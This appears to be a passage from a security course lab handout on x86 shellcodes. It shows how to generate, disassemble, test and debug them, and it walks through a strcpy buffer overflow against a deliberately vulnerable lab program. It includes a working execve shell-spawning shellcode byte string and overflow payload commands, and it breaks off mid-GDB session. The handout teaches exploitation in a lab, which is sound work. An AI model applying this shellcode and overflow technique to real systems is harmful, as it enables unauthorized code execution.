To work this session, first clone/update the repository and navigate to the 07-shellcodes folder.

Other resources:

• Shellcode repository

When creating an attack vector the attacker would usually aim to run a shellcode. However, due to program specifics and modern attack prevention mechanisms, it is uncommon for an attack to consist of a single step. There is no recipe, and an attacker will combine multiple steps and actions for the attack to be successful.

An attacker will typically employ information leak attacks to extract address and values, would use buffer overflow attacks to overwrite sensible data, inject shellcodes and execute them by modifying the program control flow and others. The way these steps are woven together depends on the vulnerability and the program specifics. The attacker is the one that needs to find the best way to tie these steps together to exploit the vulnerability.

A shellcode is a little piece of binary data that is meant to be executed by a process as part of an attack vector. An attacker would usually place a shellcode in the process memory and aim to execute it to trigger an advantageous effect for the attacker.

While a shellcode would typically result in the attacker gaining a shell process by the means the of the execve system call, this needn't always be the case. Some shellcodes may result in writing data to a socket, scanning the memory, opening/creating a file and many others.

A shellcode is typically written in assembly language and then compiled into binary object code and fed to the vulnerable program. There are three actions an attacker must undertake to run a shellcode in a vulnerable program:

1. Write the shellcode: typically done in assembly and then convert it in binary object code.
2. Inject the shellcode into the memory address space of the vulnerable process. This is fed through some form of input to the process (standard input, program arguments, sockets, I/O, environment variables etc.).
3. Trigger the running of the shellcode by jumping to the shellcode address, usually done through a buffer overflow.

When dealing with shellcodes, we work with binary data and we need to be able to generate that. One example is when we need to write an hexadecimal address such as 0x0804804b. Shellcodes may also need to be written in a file or be fed directly to the process. Generating (binary) data and writing it is a common process when creating attack vectors, especially when dealing with shellcodes.

In order to generate binary data, one can use any programming language, though it is common to use Bash (shell commands), Python or Perl. Let's write the hexadecimal address 0x0804804b to standard output using different approaches. The commands to do this are:

$ echo -e '\x4b\x80\x04\x08'
K�
$ python -c 'print "\x4b\x80\x04\x08"'
K�
$ perl -e 'print "\x4b\x80\x04\x08"'
K�

The binary data is not readable from a console. You can either pipe to a hex dumping command (such as hexdump or xxd or od) or you can dump it to a file:

$ python -c 'print "\x4b\x80\x04\x08"' | od -t x4
0000000 0804804b 0000000a

$ perl -e 'print "\x4b\x80\x04\x08"' > dump
$ od -t x4 dump 
0000000 0804804b
0000004

In the snippets above, the reason for the the 0000000a string in the output processed from Python is due to the Python print command explicitly adding a newline character (\n, 0x0a in hexadecimal) to the output string.

Python and Perl may also be used to generate a string that repeats a character a number of times. For example, if we wanted to generate 50 A characters followed by the above address we could issue the commands:

$ python -c 'print "A"*50 + "\x4b\x80\x04\x08"' | xxd
00000000: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
00000010: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
00000020: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
00000030: 4141 4b80 0408 0a                        AAK...

$ perl -e 'print "A"x50,"\x4b\x80\x04\x08"'  | xxd
00000000: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
00000010: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
00000020: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
00000030: 4141 4b80 0408                           AAK...

We've used xxd to dump hexadecimal data.

It is usually the case that we have access to the raw (binary) shellcode (that we may have generated) and we want to make sure it does exactly what we want it to do. For that we want to disassemble the binary shellcode.

In the 02-tutorial-binary-shellcode/src/ subfolder in the tasks archive there is a file named shellcode.bin that is a binary file:

$ xxd shellcode.bin
00000000: 6821 0a00 0068 6f72 6c64 686f 2c20 5768  h!...horldho, Wh
00000010: 4865 6c6c ba0e 0000 0089 e1bb 0100 0000  Hell............
00000020: b804 0000 00cd 80

We can see there are some strings part of the file and we want to disassemble it as a raw file. For that we use objdump with the proper arguments:

$ objdump -D -b binary -m i386 -M intel shellcode.bin 

shellcode.bin:     file format binary


Disassembly of section .data:

00000000 <.data>:
   0:	68 21 0a 00 00       	push   0xa21
   5:	68 6f 72 6c 64       	push   0x646c726f
   a:	68 6f 2c 20 57       	push   0x57202c6f
   f:	68 48 65 6c 6c       	push   0x6c6c6548
  14:	ba 0e 00 00 00       	mov    edx,0xe
  19:	89 e1                	mov    ecx,esp
  1b:	bb 01 00 00 00       	mov    ebx,0x1
  20:	b8 04 00 00 00       	mov    eax,0x4
  25:	cd 80                	int    0x80

The above command does raw disassembling, the arguments meaning:

• -D: disassemble all, not only text/code zones. In our case this means disassemble the whole file.
• -b binary: treat the file as not having a specific object/executable format (such as ELF, COFF, Mach-O or PE).
• -m i386: the machine code inside the binary file is i386 (x86).
• -M intel: when disassembling use Intel assembly syntax, as opposed to the AT&T assembly syntax.

The binary file is indeed a shellcode: a short set of instructions that end in a system call (int 0x80). This shellcode invokes the number 4 system call, i.e. write (eax is 4). It writes to file descriptor 1 (ebx is 1) meaning standard output. What is shellcode does is write the Hello, World!\n string to standard output.

This binary shellcode file was obtained by writing a byte string. The byte string is stored in the shellcode.print and we can regenerate the raw shellcode file through a command such as:

$ cat shellcode.print 
\x68\x21\x0a\x00\x00\x68\x6f\x72\x6c\x64\x68\x6f\x2c\x20\x57\x68\x48\x65\x6c\x6c\xba\x0e\x00\x00\x00\x89\xe1\xbb\x01\x00\x00\x00\xb8\x04\x00\x00\x00\xcd\x80
$ echo -en '\x68\x21\x0a\x00\x00\x68\x6f\x72\x6c\x64\x68\x6f\x2c\x20\x57\x68\x48\x65\x6c\x6c\xba\x0e\x00\x00\x00\x89\xe1\xbb\x01\x00\x00\x00\xb8\x04\x00\x00\x00\xcd\x80' > shellcode-2.bin
$ cmp shellcode.bin shellcode-2.bin

As the last command (cmp) issues no output, we know the shellcode-2.bin file we generated is identical to the initial file.

Let's practice the generation and investigation of binary shellcodes.

Extract the byte strings from these two shellcodes (1, 2) and generate binary shellcode files. Then disassemble these binary shellcode files and check with the initial links that the assembly code is similar.

Now that we know what a shellcode is, how does it look like and how can we verify it through disassembling, let's test one. In the 03-tutorial-hello-shellcode/ subfolder in the tasks archive we have developed a very small program (vuln.c) for testing the shellcode.

The vuln.c program is very simple. What it does is define a shellcode string and initialize it to our earlier byte string shellcode for printing “Hello, World!”. In main we define a function pointer func_ptr and initialize it forcefully (through a type cast) to the shellcode string. Then we call func_ptr which will result in the execution of the binary code within the shellcode string.

In order to test it, we will first compile the program using make

$ make
cc -m32 -Wall -g   -c -o vuln.o vuln.c
cc -m32 -zexecstack  vuln.o   -o vuln

resulting in the generation of the vuln executable.

Then we will run the vuln executable:

$ ./vuln 
Hello, World!
Segmentation fault

and see that it really gets to execute the shellcode, since the “Hello, World!” string is printed to standard output. So the testing of the shellcode is successful.

The running of the executable also results in the process being delivered a segment violation signal (SIGSEGV, resulting in the Segmentation fault message being printed out), but we'll get to that later.

A shellcode will usually do any sort of action through the use of system calls. In the test above we used the write system call (i.e. system call number 4, stored in eax) to print the “Hello, World!” message. A system call is the most basic way of doing actions by directly accessing the operating system interface (i.e. the system call interface). The programmer stores the system call number in the eax register and the parameters in the other registers (ebx, ecx, edx, esi, edi) and then issue the system call trap through the int 0x80 instruction.

We can check the usage of system calls in a shellcode by disassembling the binary system call file and checking the presence of the int 0x80 trap instruction. The experienced hacker would also check the binary string for the string \xcd\x80, that is the binary string representation of the int 0x80 trap instruction.

If we want to check the shellcode is being run or debug it, we can use strace for monitoring system calls. For our above program we can check the calling of the write system call with strace

$ strace ./vuln 
execve("./vuln", ["./vuln"], [/* 36 vars */]) = 0
[...]
write(1, "Hello, World!\n", 14Hello, World!
)         = 14
[...]

strace is able to show us the correct invocation of the write system call, with the proper arguments.

Another way of doing runtime investigation is through the use of GDB as shown in the next section.

Thorough dynamic investigation of the shellcode is achieved through the use of GDB. We will start the vuln executable under GDB and then we will see what happens when func_ptr gets called.

We will start the program under GDB (with PEDA support), breakpoint at main and check the disassembling of the code:

$ gdb -q ./vuln 
Reading symbols from ./vuln...done.
gdb-peda$ start
[----------------------------------registers-----------------------------------]
[...]
[-------------------------------------code-------------------------------------]
   0x80483d6 <main+11>:	mov    ebp,esp
   0x80483d8 <main+13>:	push   ecx
   0x80483d9 <main+14>:	sub    esp,0x14
=> 0x80483dc <main+17>:	mov    DWORD PTR [ebp-0xc],0x80484c0
   0x80483e3 <main+24>:	mov    eax,DWORD PTR [ebp-0xc]
   0x80483e6 <main+27>:	call   eax
   0x80483e8 <main+29>:	mov    eax,0x0
   0x80483ed <main+34>:	add    esp,0x14
[------------------------------------stack-------------------------------------]
[...]
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Temporary breakpoint 1, main () at vuln.c:14
14		void (*func_ptr)(void) = (void (*)(void)) shellcode;
gdb-peda$ 

The current mov instruction and the next one (at addresses main+17 and main+24) result in eax being initialized to 0x80484c0. This is the equivalent of the func_ptr function pointer being initialized to the address of the shellcode string, as can be seen in the last part of the GDB output. We'll step two instructions (using the GDB si command) and check that:

gdb-peda$ si
[...]
gdb-peda$ si
[----------------------------------registers-----------------------------------]
EAX: 0x80484c0 --> 0xa2168 ('h!\n')
[...]
[-------------------------------------code-------------------------------------]
   0x80483d9 <main+14>:	sub    esp,0x14
   0x80483dc <main+17>:	mov    DWORD PTR [ebp-0xc],0x80484c0
   0x80483e3 <main+24>:	mov    eax,DWORD PTR [ebp-0xc]
=> 0x80483e6 <main+27>:	call   eax
   0x80483e8 <main+29>:	mov    eax,0x0
   0x80483ed <main+34>:	add    esp,0x14
   0x80483f0 <main+37>:	pop    ecx
   0x80483f1 <main+38>:	pop    ebp
[...]
[------------------------------------stack-------------------------------------]
[...]
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x080483e6	17		func_ptr();
gdb-peda$ p/x &shellcode
$1 = 0x80484c0
gdb-peda$ 

As expected, eax is now initialized to 0x80484c0, the address of the shellcode string, as shown in the last GDB command.

The next instruction issued is call eax. This means that we will jump and execute code starting from the address in eax, i.e. the address of the shellcode string, our shellcode. We will issue multiple step instructions command to see our program go through the shellcode instructions until reaching the system call trap instruction (int 0x80):

gdb-peda$ si
[...]
gdb-peda$ si
[...]
gdb-peda$ si
[...]
[...]
gdb-peda$ si
[----------------------------------registers-----------------------------------]
EAX: 0x4 
EBX: 0x1 
ECX: 0xffffd2fc ("Hello, World!\n")
EDX: 0xe 
ESI: 0x0 
EDI: 0x0 
EBP: 0xffffd328 --> 0x0 
ESP: 0xffffd2fc ("Hello, World!\n")
EIP: 0x80484e5 --> 0x10080cd
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x80484d9 <shellcode+25>:	mov    ecx,esp
   0x80484db <shellcode+27>:	mov    ebx,0x1
   0x80484e0 <shellcode+32>:	mov    eax,0x4
=> 0x80484e5 <shellcode+37>:	int    0x80
   0x80484e7 <shellcode+39>:	add    BYTE PTR [ecx],al
   0x80484e9:	sbb    eax,DWORD PTR [ebx]
   0x80484eb:	cmp    ebp,DWORD PTR [eax]
   0x80484ed:	add    BYTE PTR [eax],al
[------------------------------------stack-------------------------------------]
[...]
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x080484e5 in shellcode ()

Before executing the system call trap we can see that the registers are filled properly:

• eax is 4, i.e. the number of the write system call
• ebx is 1, i.e. the file descriptor for standard output
• ecx points to the “Hello, World!\n” string located on the stack
• edx is 14 (0xe) the length of the “Hello, World!\n” string

When issuing the next instruction (the system call trap), the write system call will be invoked, resulting in the printing of the “Hello, World!\n” string.

Up until now we've learned about getting a binary shellcode from a byte string shellcode using Bash, Python or Perl and on disassembling a raw binary shellcode to assembly format to check the shellcode instructions.

But we need to do it the other way around. We construct a shellcode using assembly and then we need to obtain its binary format and then its byte string format. The byte string format is the usual form we are going to use the shellcode in programs (be them C, Python, Perl or other programs).

In the 04-tutorial-gen-hello-shellcode/ subfolder in the tasks archive there is the shellcode.S file, an assembly file implementing the shellcode printing “Hello, World!\n” that we have used above. We'll use that to create the binary shellcode file and then the byte string shellcode. These steps are similar for any shellcode we would create.

First of all we will use nasm to assemble the shellcode.S file in the shellcode.bin file:

$ nasm -o shellcode.bin shellcode.S

By default, nasm assembles the given assembly code into raw (also named flat-form) binary data. We can inspect the shellcode.bin file and disassemble it to check whether we did OK:

$ xxd shellcode.bin 
00000000: 6821 0a00 0068 6f72 6c64 686f 2c20 5768  h!...horldho, Wh
00000010: 4865 6c6c ba0e 0000 0089 e1bb 0100 0000  Hell............
00000020: b804 0000 00cd 80                        .......
$ objdump -D -b binary -m i386 -M intel shellcode.bin 

shellcode.bin:     file format binary


Disassembly of section .data:

00000000 <.data>:
   0:	68 21 0a 00 00       	push   0xa21
   5:	68 6f 72 6c 64       	push   0x646c726f
   a:	68 6f 2c 20 57       	push   0x57202c6f
   f:	68 48 65 6c 6c       	push   0x6c6c6548
  14:	ba 0e 00 00 00       	mov    edx,0xe
  19:	89 e1                	mov    ecx,esp
  1b:	bb 01 00 00 00       	mov    ebx,0x1
  20:	b8 04 00 00 00       	mov    eax,0x4
  25:	cd 80                	int    0x80

As the output of the disassembling is identical to the initial assembly file (shellcode.S) we know we have the correct binary shellcode.

Now we need to extract the byte string shellcode from the binary shellcode file shellcode.bin. We could do this by hand, going through each byte printed out by xxd and building up the string, but we can automate this by using hexdump and its -e option for formatting:

$ hexdump -v -e '"\\" 1/1 "x%02x"' shellcode.bin; echo
\x68\x21\x0a\x00\x00\x68\x6f\x72\x6c\x64\x68\x6f\x2c\x20\x57\x68\x48\x65\x6c\x6c\xba\x0e\x00\x00\x00\x89\xe1\xbb\x01\x00\x00\x00\xb8\x04\x00\x00\x00\xcd\x80

The hexdump command, with the given arguments prints each byte with a format such as \xAB where AB is the two nibbles hexadecimal representation of the number.

All of the above steps are incorporated in the Makefile file in the 04-tutorial-gen-hello-shellcode/src/ subfolder. For getting the binary shellcode file, we would issue the command:

$ make
nasm -o shellcode.bin shellcode.S

The above command assembles the shellcode.S file into the shellcode.bin file.

In order to obtain the byte string file, we would issue the command:

$ make print
\x68\x21\x0a\x00\x00\x68\x6f\x72\x6c\x64\x68\x6f\x2c\x20\x57\x68\x48\x65\x6c\x6c\xba\x0e\x00\x00\x00\x89\xe1\xbb\x01\x00\x00\x00\xb8\x04\x00\x00\x00\xcd\x80

resulting in the printing of the shellcode in byte string format.

The byte string shellcode can now be integrated into our code and it can be properly placed for execution inside a vulnerable program.

In the above running of the shellcode the processes ended (crashed) by receiving a SIGSEGV signal. This happened because the shellcode binary code didn't “end” and the execution of binary code continued beyond the shellcode; when reaching an invalid binary instruction, the program crashes.

In order to avoid that and let the program return from the shellcode or exit gracefully after running the shellcode, we have two options:

1. ending the shellcode with a ret instruction, resulting in the program getting back to the caller function (main);
2. adding an exit system call at the end of the shellcode

Let's do the first one. A rather simple approach would be to add the ret instruction at the end of the shellcode. We do that by adding a ret instruction at the end of the shellcode.S file in the 04-tutorial-gen-hello-shellcode/ subfolder in the tasks archive:

$ cat shellcode.S 
BITS 32
	push 0x0a21		; "\n!"
	push 0x646c726f		; "dlro"
	push 0x57202c6f		; "W, o"
	push 0x6c6c6548		; "lleH"
	mov edx, 14		; Message length is 14 bytes.
	mov ecx, esp		; Stack points to message.
	mov ebx, 1		; Print to standard output (fd = 1).
	mov eax, 4		; __NR_write
	int 0x80
	ret

In the above listing we can see the addition of the ret instruction to the shellcode.

We now need to extract the shellcode byte string and replace in the vulnerable program (vuln.c). We do that by using the Makefile file in the 04-tutorial-gen-hello-shellcode/ subfolder:

$ make print
nasm -o shellcode.bin shellcode.S
\x68\x21\x0a\x00\x00\x68\x6f\x72\x6c\x64\x68\x6f\x2c\x20\x57\x68\x48\x65\x6c\x6c\xba\x0e\x00\x00\x00\x89\xe1\xbb\x01\x00\x00\x00\xb8\x04\x00\x00\x00\xcd\x80\xc3

We now replace the above byte string shellcode in the vuln,c file in the 03-tutorial-hello-shellcode/ subfolder:

$ cat vuln.c 
[...]
static const char shellcode[] = "\x68\x21\x0a\x00\x00\x68\x6f\x72\x6c"
				 "\x64\x68\x6f\x2c\x20\x57\x68\x48\x65"
				 "\x6c\x6c\xba\x0e\x00\x00\x00\x89\xe1"
				 "\xbb\x01\x00\x00\x00\xb8\x04\x00\x00"
				 "\x00\xcd\x80\xc3";
[...]

We now compile the program using the new shellcode byte string

make
cc -m32 -Wall -g   -c -o vuln.o vuln.c
cc -m32 -zexecstack  vuln.o   -o vul

and run it

$ ./vuln 
Hello, World!
Segmentation fault

Although we expected the program to exit gracefully it still gets a SIGSEGV signal. We use dmesg to find out the faulty address:

$ dmesg | tail -1
[20349.560852] vuln[12204]: segfault at 6c6c6548 ip 000000006c6c6548 sp 00000000ff948540 error 14

We can see that the instruction pointer (ip) points to the address 0x6c6c6548. This address is a string, we can see that by printing the byte string:

$ echo -e '\x6c\x6c\x65\x48'
lleH

The above message is part of the Hello, World!\n message that we want to print. We assume that the stack stores additional data (such as our message) causing the ret instruction not to work properly.

We do a GDB investigation for additional info and see what happens when the ret instruction is executed within the shellcode:

$ gdb -q ./vuln
Reading symbols from ./vuln...done.
gdb-peda$ start
[...]
gdb-peda$ si
Hello, World!
[----------------------------------registers-----------------------------------]
EAX: 0xe
EBX: 0x1
ECX: 0xffffd2fc ("Hello, World!\n")
EDX: 0xe
ESI: 0x0
EDI: 0x0
EBP: 0xffffd328 --> 0x0
ESP: 0xffffd2fc ("Hello, World!\n")
EIP: 0x80484e7 --> 0xc3
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x80484db <shellcode+27>:	mov    ebx,0x1
   0x80484e0 <shellcode+32>:	mov    eax,0x4
   0x80484e5 <shellcode+37>:	int    0x80
=> 0x80484e7 <shellcode+39>:	ret
   0x80484e8 <shellcode+40>:	add    BYTE PTR [eax],al
   0x80484ea:	add    BYTE PTR [eax],al
   0x80484ec:	add    DWORD PTR [ebx],ebx
   0x80484ee:	add    edi,DWORD PTR [ebx]
[------------------------------------stack-------------------------------------]
0000| 0xffffd2fc ("Hello, World!\n")
0004| 0xffffd300 ("o, World!\n")
0008| 0xffffd304 ("orld!\n")
0012| 0xffffd308 --> 0xa21 ('!\n')
0016| 0xffffd30c --> 0x80483e8 (<main+29>:	mov    eax,0x0)
0020| 0xffffd310 --> 0x1
0024| 0xffffd314 --> 0xffffd3d4 --> 0xffffd533 ("/home/razvan/projects/ctf/sss/summerschool2014.git/sessions/sess-09/skel/hello-shellcode/vuln")
0028| 0xffffd318 --> 0xffffd3dc --> 0xffffd591 ("XDG_VTNR=7")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x080484e7 in shellcode ()

gdb-peda$ si
[----------------------------------registers-----------------------------------]
EAX: 0xe
EBX: 0x1
ECX: 0xffffd2fc ("Hello, World!\n")
EDX: 0xe
ESI: 0x0
EDI: 0x0
EBP: 0xffffd328 --> 0x0
ESP: 0xffffd300 ("o, World!\n")
EIP: 0x6c6c6548 ('Hell')
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x6c6c6548
[------------------------------------stack-------------------------------------]
0000| 0xffffd300 ("o, World!\n")
0004| 0xffffd304 ("orld!\n")
0008| 0xffffd308 --> 0xa21 ('!\n')
0012| 0xffffd30c --> 0x80483e8 (<main+29>:	mov    eax,0x0)
0016| 0xffffd310 --> 0x1
0020| 0xffffd314 --> 0xffffd3d4 --> 0xffffd533 ("/home/razvan/projects/ctf/sss/summerschool2014.git/sessions/sess-09/skel/hello-shellcode/vuln")
0024| 0xffffd318 --> 0xffffd3dc --> 0xffffd591 ("XDG_VTNR=7")
0028| 0xffffd31c --> 0x80484c0 --> 0xa2168 ('h!\n')
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x6c6c6548 in ?? ()
gdb-peda$

When executing the ret instruction we see that the instruction pointer points to the 0x6c6c6548 address that's actually the string Hell. If we investigate the stack before and after executing the ret instruction we find that the Hell string at the top of the stack (address 0xffffd2fc) was popped into the instruction pointer (as expected from a ret instruction). Before executing ret the stack pointer (esp) was 0xffffd2fc and pointed to the Hello, World!\n string; after executing ret the first four bytes from the stack (32 bits) were popped from the stack and placed into the instruction pointer (eip) and the stack pointer is incremented; that means eip now stores the Hell string and esp is 0xfffd300 and points to the rest of the string o, World!\n.

Our goal is to properly set the stack pointer before executing ret to make a successful return to the main function.

In order for ret to work properly, at the time the ret instruction is executed the stack pointer needs to be identical to the value when the shellcode was executed. That is, we need to increment the stack pointer (esp) to point to that value. In the above GDB output, the value is 0xffffd30c and points to the return address in main, exactly what we want:

0016| 0xffffd30c --> 0x80483e8 (<main+29>:	mov    eax,0x0)

Update the shellcode to increment the stack pointer (esp) to the proper value right before issuing the ret call. This will mean a graceful return from the shellcode in the main function. If properly done, there would be no SIGSEGV being delivered to the program.

Apart from using the ret instruction to return properly from the shellcode, we can also invoke the exit system call in the shellcode and terminate the program (gracefully).

Add an equivalent exit(0) system call in the shellcode using assembly language.

Up until now the string we used for printing inside the shellcode is “Hello, World!\n”. Let's change this to “Hello, Romania!\n”. For this you will have to update the shellcode.S assembly file and then obtain the byte string shellcode and place it into the vuln.c file.

Do that and check the program now prints the “Hello, Romania!\n” string to standard output. Update the shellcode that encodes exit(0) in order for the shellcode to exit gracefully.

$ echo -en 'Hello, World!\n' | hexdump -v -e '1/4 "push 0x%08x\n"' | tac
push 0x00000a21
push 0x646c726f
push 0x57202c6f
push 0x6c6c6548

As the name implies, a shellcode is usually used for getting a shell. This type of shellcode typically ends in the execve shellcode. Let's try this using the shellcode from here. We've already made sure that the byte string is valid and ends up invoking the 0xb (number 11) system call (i.e. execve).

We update the shellcode variabile vuln.c using this byte string shellcode:

$ cat vuln.c 
[...]
static const char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68"
				"\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89"
				"\xe1\xb0\x0b\xcd\x80";
[...]

Now we compile the vuln.c program

$ make
cc -m32 -Wall -g   -c -o vuln.o vuln.c
cc -m32 -zexecstack  vuln.o   -o vuln

and then we run it

$ ./vuln 
$ 

We can exit the new shell by running exit or by using the Ctrl+d keyboard combo.

After running the executable you get a new shell so our shellcode was successful. We can see that by running the executable under strace and looking for the execve call:

$ strace ./vuln
[...]
execve("/bin//sh", ["/bin//sh"], [/* 1 var */]) = 0
[...]

The shellcode was successful and we managed to obtain a new shell.

In the 05-tutorial-bad-execve-shellcode/ in the lab archive you can find of version of the vuln.c program that uses the execve-based shellcode from above. Except there are some random integer operations in there. If you compile and run the program you get a Segmentation fault error:

$ make
cc -m32 -Wall -g   -c -o vuln.o vuln.c
cc -m32 -zexecstack  vuln.o   -o vuln
$ ./vuln 
Segmentation fault

The cause of the error is a problem with the shellcode. The shellcode works on certain setups but not all of them due to a negligence of the shellcode author.

Disassemble the shellcode, find out the problem with it and reconstruct it and fix it inside the vuln.c executable so that you will eventually get a shellcode.

In the vuln.c program we used so far, we initialize the func_ptr function pointer with the “suitable” shellcode address. This is the triggering phase for the shellcode-based attack but that's far from common in programs. What is usually the case is that a buffer is overflowed to overwrite a suitable address.

In the 06-tutorial-overflow-and-shellcode/ task there is a vuln.c source code file. In the file we use strcpy() to copy the first program argument (argv[1]) in a local buffer variable named buffer. If we give a string longer than the buffer length (32) we would do a buffer overflow and be able to overwrite the func_ptr function pointer located just above the buffer. The vuln.c file is using a proper NUL-free, always-works shellcode that spawns a shell.

Our goal is to provide the proper command line argument in order to overflow the buffer variable and overwrite the func_ptr function pointer with the address of the shellcode variable storing the byte string shellcode.

First of all let's see how the program behaves:

$ make
cc -m32 -Wall -fno-stack-protector -g   -c -o vuln.o vuln.c
cc -m32 -zexecstack  vuln.o   -o vuln
cc -m32 -zexecstack  vuln.o   -o vuln
$ ./vuln 
Usage: ./vuln string
$ ./vuln aaa
Do nothing, successfully!

For a short string the program performs OK and the do_nothing_successfully function stored in the func_ptr local variable is invoked.

Let's now see what happens if we overflow the buffer. We write a lot more bytes than the buffer length (let's say 50 bytes) and we check what happens. In order to generate 50 bytes we use perl:

$ perl -e 'print "A"x50'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

In order to feed that input as a program argument to vuln we use shell command substitution:

$ ./vuln $(perl -e 'print "A"x50')
Segmentation fault

We see that now the program is sent a SIGSEGV signal. Most probably this is due to the func_ptr function pointer being overwritten. We check that using dmesg:

$ dmesg
[...]
[38217.667318] vuln[11474]: segfault at 41414141 ip 0000000041414141 sp 00000000ff9475ec error 14

As shown in the dmesg output the program failed when eip is 0x41414141 (which is the AAAA string) meaning the func_ptr local variable was overwritten.

We can also check that using GDB:

$ gdb -q ./vuln
Reading symbols from ./vuln...done.
gdb-peda$ set args $(perl -e 'print "A"x50')
gdb-peda$ start
[...]
gdb-peda$ disass
Dump of assembler code for function main:
[...[
   0x08048517 <+84>:	push   eax
   0x08048518 <+85>:	call   0x8048350 <strcpy@plt>
   0x0804851d <+90>:	add    esp,0x10
[...]
gdb-peda$ b *0x08048518
Breakpoint 2 at 0x8048518: file vuln.c, line 22.
gdb-peda$ b *0x0804851d
Breakpoint 3 at 0x804851d: file vuln.c, line 22.
gdb-peda$ continue
Continuing.
[----------------------------------registers-----------------------------------]
EAX: 0xffffd2ac --> 0x8048321 (<_init+9>:	add    ebx,0x14f3)
EBX: 0xf7f9d000 --> 0x1a5da8 
ECX: 0xffffd2f0 --> 0x2 
EDX: 0xffffd314 --> 0xf7f9d000 --> 0x1a5da8 
ESI: 0x0 
EDI: 0x0 
EBP: 0xffffd2d8 --> 0x0 
ESP: 0xffffd290 --> 0xffffd2ac --> 0x8048321 (<_init+9>:	add    ebx,0x14f3)
EIP: 0x8048518 (<main+85>:	call   0x8048350 <strcpy@plt>)
EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8048513 <main+80>:	push   eax
   0x8048514 <main+81>:	lea    eax,[ebp-0x2c]
   0x8048517 <main+84>:	push   eax
=> 0x8048518 <main+85>:	call   0x8048350 <strcpy@plt>
   0x804851d <main+90>:	add    esp,0x10
   0x8048520 <main+93>:	mov    eax,DWORD PTR [ebp-0xc]
   0x8048523 <main+96>:	call   eax
   0x8048525 <main+98>:	mov    eax,0x0
Guessed arguments:
arg[0]: 0xffffd2ac --> 0x8048321 (<_init+9>:	add    ebx,0x14f3)
arg[1]: 0xffffd550 ('A' <repeats 50 times>)
[------------------------------------stack-------------------------------------]
0000| 0xffffd290 --> 0xffffd2ac --> 0x8048321 (<_init+9>:	add    ebx,0x14f3)
0004| 0xffffd294 --> 0xffffd550 ('A' <repeats 50 times>)
0008| 0xffffd298 --> 0xf7e03bf8 --> 0x2aa0 
0012| 0xffffd29c --> 0xf7e281e3 (add    ebx,0x174e1d)
0016| 0xffffd2a0 --> 0x0 
0020| 0xffffd2a4 --> 0xca0000 
0024| 0xffffd2a8 --> 0x1 
0028| 0xffffd2ac --> 0x8048321 (<_init+9>:	add    ebx,0x14f3)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 2, 0x08048518 in main (argc=0x2, argv=0xffffd384) at vuln.c:22
22		strcpy(buffer, argv[1]);
gdb-peda$ x/32b buffer
0xffffd2ac:	0x21	0x83	0x04	0x08	0xeb	0xd4	0xff	0xff
0xffffd2b4:	0x2f	0x00	0x00	0x00	0x14	0x98	0x04	0x08
0xffffd2bc:	0x92	0x85	0x04	0x08	0x02	0x00	0x00	0x00
0xffffd2c4:	0x84	0xd3	0xff	0xff	0x90	0xd3	0xff	0xff
gdb-peda$ continue
Continuing.
[----------------------------------registers-----------------------------------]
EAX: 0xffffd2ac ('A' <repeats 50 times>)
EBX: 0xf7f9d000 --> 0x1a5da8 
ECX: 0xffffd580 --> 0x58004141 ('AA')
EDX: 0xffffd2dc --> 0xf7004141 
ESI: 0x0 
EDI: 0x0 
EBP: 0xffffd2d8 ("AAAAAA")
ESP: 0xffffd290 --> 0xffffd2ac ('A' <repeats 50 times>)
EIP: 0x804851d (<main+90>:	add    esp,0x10)
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8048514 <main+81>:	lea    eax,[ebp-0x2c]
   0x8048517 <main+84>:	push   eax
   0x8048518 <main+85>:	call   0x8048350 <strcpy@plt>
=> 0x804851d <main+90>:	add    esp,0x10
   0x8048520 <main+93>:	mov    eax,DWORD PTR [ebp-0xc]
   0x8048523 <main+96>:	call   eax
   0x8048525 <main+98>:	mov    eax,0x0
   0x804852a <main+103>:	mov    ecx,DWORD PTR [ebp-0x4]
[------------------------------------stack-------------------------------------]
0000| 0xffffd290 --> 0xffffd2ac ('A' <repeats 50 times>)
0004| 0xffffd294 --> 0xffffd550 ('A' <repeats 50 times>)
0008| 0xffffd298 --> 0xf7e03bf8 --> 0x2aa0 
0012| 0xffffd29c --> 0xf7e281e3 (add    ebx,0x174e1d)
0016| 0xffffd2a0 --> 0x0 
0020| 0xffffd2a4 --> 0xca0000 
0024| 0xffffd2a8 --> 0x1 
0028| 0xffffd2ac ('A' <repeats 50 times>)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 3, 0x0804851d in main (
    argc=<error reading variable: Cannot access memory at address 0x41414141>, 
    argc@entry=<error reading variable: Cannot access memory at address 0x4141413d>, 
    argv=<error reading variable: Cannot access memory at address 0x41414145>, 
    argv@entry=<error reading variable: Cannot access memory at address 0x4141413d>) at vuln.c:22
22		strcpy(buffer, argv[1]);
gdb-peda$ x/32b buffer
0xffffd2ac:	0x41	0x41	0x41	0x41	0x41	0x41	0x41	0x41
0xffffd2b4:	0x41	0x41	0x41	0x41	0x41	0x41	0x41	0x41
